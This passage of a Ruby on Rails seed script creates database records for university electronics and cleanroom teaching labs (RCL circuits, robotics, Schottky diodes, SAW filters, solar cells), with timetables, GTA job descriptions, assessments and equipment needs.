nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a369 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS1321\").first.id, code: \"230\").first_or_create!(name: \"RCL Circuit: Dynamics Laboratory\",\n name_abrv: \"RCL\", archived: false, in_drive: false, user_id: 3)\n at369 = ActivityTimetable.where(activity_id: a369.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a369.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a369.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a369.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a369.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a369.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a370 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE205\").first.id, code: \"230\").first_or_create!(name: \"RCL Circuit: Dynamics Laboratory\",\n name_abrv: \"GEE - RCL\", archived: false, in_drive: false, user_id: 3)\n at370 = ActivityTimetable.where(activity_id: a370.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a370.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a370.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a370.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a370.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a370.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a371 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6503\").first.id, code: \"232\").first_or_create!(name: \"Pantograph Robot\",\n name_abrv: \"Pant Rob\", archived: false, in_drive: false, user_id: 1)\n at371 = ActivityTimetable.where(activity_id: a371.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a371.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a371.id).first_or_create!(criteria: \"Must have a understanding for forward and inverse kinematic modelling for robotic systems. Must be proficient at MATLAB, and preferably have worked with LabVIEW, (although not essential).\",\n job_desc:\"During this laboratory session, the students will model and implement forward and inverse kinematic models for a close coupled robot system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a371.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a371.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a372 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE205\").first.id, code: \"233\").first_or_create!(name: \"Introduction to Feedback and PI Control Design\",\n name_abrv: \"GEE - T+F Servo\", archived: false, in_drive: false, user_id: 3)\n at372 = ActivityTimetable.where(activity_id: a372.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a372.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a372.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a372.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a372.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a372.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a373 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"234\").first_or_create!(name: \"MSc Mechatronics Design Project\",\n name_abrv: \"ACS6502 - Design Project\", archived: false, in_drive: false, user_id: 5)\n at373 = ActivityTimetable.where(activity_id: a373.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a373.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a373.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a373.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a373.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a374 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS130\").first.id, code: \"239\").first_or_create!(name: \"Design and Build Project - Software\",\n name_abrv: \"ShaddowBots-Soft\", archived: false, in_drive: false, user_id: 5)\n at374 = ActivityTimetable.where(activity_id: a374.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at374.id, room_id: $room_ec.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a374.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a374.id).first_or_create!(criteria: \"Must have experience of programming microcontrollers devices with C, and a basic working knowledge of electronic circuit construction.\",\n job_desc:\"This is the 1st year group design project. The students will be initially make a strip board circuit, for a PIC micro controller, and mount this to a two wheeled robot. The robot will be programmed, on C, to drive towards a beacon and avoid obstacles in its path.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a374.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a374.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n\n\n a375 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1006\").first.id, code: \"300\").first_or_create!(name: \"Cleanroom taster for COM\",\n name_abrv: \"SCHOTTKY- COM\", archived: false, in_drive: false, user_id: 4)\n at375 = ActivityTimetable.where(activity_id: a375.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a375.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"COM Schottky\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a375.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of basic testing of devices (IV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode (or possibly MESFET transistor) in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a375.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a375.id).first_or_create!(cost_per_student: nil, equip_needed: \"All equipment as per CCEE.1.06.002 and CCEE.1.06.003 except LCR meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a375.id, programme_id: $prog_com.id).first_or_create!\n\n\n a376 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"301\").first_or_create!(name: \"Group Project (Great Egg Race)\",\n name_abrv: \"GRP1\", archived: false, in_drive: false, user_id: 1)\n at376 = ActivityTimetable.where(activity_id: a376.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"210 minutes x 4 sessions (2 groups)\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a376.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"FYGER\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a376.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a376.id).first_or_create!(assess_weight: 8.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a376.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a376.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a377 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE380\").first.id, code: \"302\").first_or_create!(name: \"Individual Design Project\",\n name_abrv: \"IDP\", archived: false, in_drive: false, user_id: 3)\n at377 = ActivityTimetable.where(activity_id: a377.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Ad Hoc sessions, arranged between student and MEE staff\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a377.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Ind Design\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a377.id).first_or_create!(criteria: \"\",\n job_desc:\"GTAs sourced by EEE\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a377.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a377.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a377.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a378 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6213\").first.id, code: \"304\").first_or_create!(name: \"Resistivity measurements\",\n name_abrv: \"RES\", archived: false, in_drive: false, user_id: 1)\n at378 = ActivityTimetable.where(activity_id: a378.id).first_or_create!(duration: 180, kit_prep_time: 120, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 60, takedown_time: 30, notes: \"Each student comes to 2 sessions. Timetabling cannot happen until Masters students have chosen their modules - will be very last minute.\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a378.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a378.id).first_or_create!(criteria: \"\",\n job_desc:\"Assist MSc students with Electrical measurements (IV) using probe station.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a378.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a378.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a378.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a379 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"305\").first_or_create!(name: \"Schottky Diode 1: Photolithography\",\n name_abrv: \"SCHOTTKY1\", archived: false, in_drive: false, user_id: 3)\n at379 = ActivityTimetable.where(activity_id: a379.id).first_or_create!(duration: 210, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Schottky 1 and Schottky 2 need to be on consecutive days.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a379.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Schottky 1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a379.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of testing of devices (IV, CV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a379.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a379.id).first_or_create!(cost_per_student: nil, equip_needed: \"At least 1 mask aligner with camera, 1 microscope with camera and yellow light filter in yellow room, 1 spinner, both chemical stations within the yellow room, at least 1 hot plate, 8 pairs tweezers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a379.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a380 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"306\").first_or_create!(name: \"Schottky Diode 2: Metallisation and Test\",\n name_abrv: \"SCHOTTKY2\", archived: false, in_drive: false, user_id: 1)\n at380 = ActivityTimetable.where(activity_id: a380.id).first_or_create!(duration: 210, kit_prep_time: 120, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 45, notes: \"Schottky 1 and Schottky 2 need to be on consecutive days.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a380.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"Schottky 1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a380.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of testing of devices (IV, CV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a380.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a380.id).first_or_create!(cost_per_student: nil, equip_needed: \"1 thermal evaporator, 4 acetone-resistant 0.5 - 5ml pipettes, 3 solvent chemical stations, 3 hot plates, 1 ultrasound cleaning bath, 8 probe stations, 8 SMUs, 8 LCRs, 8 LCR bias adapters, 2 microscopes, 10 microscope cameras\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a380.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a381 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"MAT2220\").first.id, code: \"307\").first_or_create!(name: \"Schottky lab for MAT\",\n name_abrv: \"SCHOTTKY - MAT\", archived: false, in_drive: false, user_id: 4)\n at381 = ActivityTimetable.where(activity_id: a381.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a381.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"MAT Schottky\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a381.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of basic testing of devices (IV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a381.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a381.id).first_or_create!(cost_per_student: nil, equip_needed: \"All equipment as per CCEE.1.06.002 and CCEE.1.06.003 except LCR meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a381.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a382 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE228\").first.id, code: \"308\").first_or_create!(name: \"Second Year Design Exercise: SAW\",\n name_abrv: \"SYDE - SAW\", archived: false, in_drive: false, user_id: 2)\n at382 = ActivityTimetable.where(activity_id: a382.id).first_or_create!(duration: 210, kit_prep_time: 1000, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 60, takedown_time: 30, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a382.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a382.id).first_or_create!(criteria: \"Basic cleanroom skills plus at least some of these: Mask design (KLayout)\",\n job_desc:\"Assist ~20 Y2 EEE students to design, build and test a surface acoustic wave (SAW) filter.\n\n Description of project for UG students:\n In this exercise you will design, build and test a band pass filter that operates in the radio frequency (MHz) regime. Such filters are essential components in many modern electronic systems, including mobile phones, TVs and radar. \n\n It is possible to make filters using LCR (inductor, capacitor, resistor) networks, but such sytems are complicated and have low precission. Instead you will utilise the phenomenon of surface acoustic waves (SAWs) to make your own filter. SAWs are generated on the surface of piezo-electric crystals when they are excited by an electrical signal. The waves on the crystal travel nearly one million times slower than the speed of light, so, as well as enabling you to make a filter, they are also very important for making delay lines. Careful design of the interdigitated electrode structure on the lithium niobiate crystal will enable you to precisely define the performance of the filter. Each student will be given their own unique design specification (centre frequency, bandwidth). The design process will require you to use some of the concepts introduced in the Communication Electronics module (EEE227) and to use a computer-aided design (CAD) package. You will then make the filter using the extensive facilities in the Diamond cleanroom, including: mask manufacture; photolithography; plasma etching; metallisation; wet etching and wire bonding. You will then evaluate your filter using a vector network analyser. Care will be needed to ensure an impedence match between your filter and the test fixtures. The tests will involve measurement of frequency response of the filter and inspection of the output signals for signs of harmonic or other spurious signal generation. Assessment is by individual report and group presentation, with account taken of your performance at the design stage and in the laboratory.\", jobshop_desc: \"Photolithography\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a382.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a382.id).first_or_create!(cost_per_student: nil, equip_needed: \"Peter Trend, Abi Eades\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a382.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a383 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE228\").first.id, code: \"309\").first_or_create!(name: \"Second Year Design Exercise: Solar Cell\",\n name_abrv: \"SYDE - Solar\", archived: false, in_drive: false, user_id: 4)\n at383 = ActivityTimetable.where(activity_id: a383.id).first_or_create!(duration: 210, kit_prep_time: 2000, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a383.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a383.id).first_or_create!(criteria: \"\",\n job_desc:\"Assist ~20 Y2 EEE students to design, build and test a solar cell.\n\n Description of project for UG students:\n The project concerns the design, fabrication and measurement of photovoltaic (PV) solar cells which convert sunlight to electrical energy. PV cells are an important sustainable technology which can make an important contribution to reducing our dependence on fossil fuels. The devices consist of semiconductor p-n junctions within which light is absorbed to create electron-hole pairs which are swept out to the contracts by means of the built-in junction field. The type of semiconductor material and the design of the cell have a strong influence on the efficiency of energy conversion. However there are also widely varying costs of production which need to be factored in. The project will focus on two semiconductor materials of current interest (i) high efficiency, high cost PV cells made using the epitaxial semiconductor GaAs and (ii) lower efficiency, but relatively low cost cells made from thin film oxides (perovskytes). An important element of the project will be to contrast the performance of these cells and to understand the trade off between efficiency and cost for practical application. \n\n In the project, the students will fabricate and test solar cells made from these two materials. The students will design a fabrication sequence to be performed in the diamond clean room for the production of PV cells. An important step in the process concerns the optimisation of the metallic contacts to the semiconductors. The metals used and the design of the pattern for the front surface are of vital importance as they have an impact on the cells series resistance, fill factor and short circuit current. The students will chose the appropriate metals, write down an appropriate processing scheme and design their own contact mask. Following validation, they will then proceed to fabricate the cells and to mount these ready for measurement. On completion the cells will be evaluated electrically using a solar simulator to extract typical solar cell parameters.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a383.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a383.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a383.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a384 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE228\").first.id, code: \"310\").first_or_create!(name: \"Second Year Design Project\",\n name_abrv: \"SYDE\", archived: false, in_drive: false, user_id: 5)\n at384 = ActivityTimetable.where(activity_id: a384.id).first_or_create!(duration: 210, kit_prep_time: 540, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"210 minute session, 3 times a week for 7 weeks\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a384.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a384.id).first_or_create!(criteria: \"\",\n job_desc:\"https://sites.google.com/a/sheffield.ac.uk/gta-opportunities/gtaoppssem2/eeedesignexercises\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a384.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a384.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a384.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a385 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6395\").first.id, code: \"311\").first_or_create!(name: \"SPE Device fab\",\n name_abrv: \"SPE - Fab\", archived: false, in_drive: false, user_id: 1)\n at385 = ActivityTimetable.where(activity_id: a385.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 60, takedown_time: 30, notes: \"Timetabling cannot happen until Masters students have chosen their modules - will be very last minute. Currenlty looked into by Rick Smith.\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a385.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"SPE Device Fab\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a385.id).first_or_create!(criteria: \"Experience with electrical and optical characterization of LEDs and HEMTs.\",\n job_desc:\"During this module students manufacture GaN LEDs from scratch. GTA assistance is required for many of these stages. Some will take place in the North Campus, others in the Diamond. Experience in GaN processing, electrical and optical testing.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room (some labs delivered in North Campus clean rooms)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a385.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a385.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a385.id, 